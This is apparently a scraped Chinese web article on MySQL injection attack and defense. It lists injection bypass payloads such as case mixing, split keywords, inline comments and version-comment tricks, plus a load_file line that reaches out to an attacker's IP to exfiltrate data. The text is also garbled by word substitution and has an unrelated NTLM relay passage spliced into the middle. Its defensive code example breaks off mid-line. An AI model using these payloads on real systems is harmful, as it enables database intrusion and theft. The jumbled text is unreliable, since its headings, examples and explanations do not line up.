作家
登录

MySQL注入攻击与防御

作者: 来源: 2017-05-08 16:02:58 阅读 我要评论

  1. select load_file('\\进击机ip\aa'); 

九、绕过技能

1. 绕过单引号

绕过单引号

2. 大年夜小写绕过

如今假设一个进击者C卷入个中

  • C向B提议连接请求
  • B向C发送挑衅D(一组随机数据)
  • C等待A向B提议连接请求
  • 当A向B提议连接请求时,C捏造成B向A发送挑衅D
  • A用源自明文口令的DESKEY对挑衅D进行标准DES加密获得响应E,并发往B
  • C截获到响应E,将它做为针对(2)中挑衅D的响应发往B,并声称本身是A
  • B大年夜SAM中获取A的LM Hash、NTLM Hash,计算出DESKEY,并对挑衅D进行标准DES加密
  • 如不雅(7)上钩算结不雅与C送过来的响应匹配,C被许可以A的身份拜访B。
  1. ?id=1+UnIoN+SeLecT+1,2,3-- 

3. 调换绕过

  1. ?id=1+UNunionION+SEselectLECT+1,2,3-- 

4. 注释绕过

5. 特别嵌入绕过

  1. ?id=1/*!UnIoN*/SeLecT+1,2,3-- 

6. 宽字节注入

7. MySQL版本号字符

  1. ?id=1+un/**/ion+se/**/lect+1,2,3-- 

可以用以下语句对一个可能的注入点进行测试

Examples:

  1. <span style="font-family: 微软雅黑, "Microsoft YaHei";">UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+<br>SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);</span> 

如许的萌芽语句是可以履行的,我懂得为类似Python中第一行注释指定解析器一样#!/bin/sh

1. MYSQLi

例如今朝的Mysql版本为5.7.17那么/!50717/及其以下的语句即可履行

8. 字符编码绕过

前段时光看到ph师傅的博客是评论辩论mysql字符编码的文┞仿,大年夜概意思如下,原文在这里

当出现有以下代码时,指设置了字符编码为utf-8,但并不是全部为utf-8,而在具体的转换过程中会出现不测的情况,具体可以看ph师傅的文┞仿

  1. $mysqli->query("set names utf8"); 

在sql萌芽中,test.php?username=admin%e4中的%e4会被admin忽视掉落而绕过了一些逻辑,还有一些类似于$e4如许的字符如%c2等

9. 绕空格

对于小于或等于版本号的语句就会履行

  1. $dbh = new PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password); 
  2. $stmt = $dbh->prepare('INSERT INTO REGISTRY (name, value) VALUES (:name, :value)'); 
  3. $stmt->bindParam(':name', $name); 
  4. $stmt->bindParam(':value', $value); 
  5. // insert one row 
  6. $name = 'one'
  7. $value = 

      推荐阅读

      如何使用vCSA6.5监控CPU、内存和网络

    如不雅体系已经连接到互联网,那么进入“Update”标签页,选择“Installed Updates”,之后“Install All Updates”。 在vSphere 6.5中,VMware改换了 vCe>>>详细阅读


    本文标题:MySQL注入攻击与防御

    地址:http://www.17bianji.com/lsqh/35071.html

关键词: 探索发现

乐购科技部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与乐购科技进行文章共享合作。

网友点评
自媒体专栏

评论

热度

精彩导读
栏目ID=71的表不存在(操作类型=0)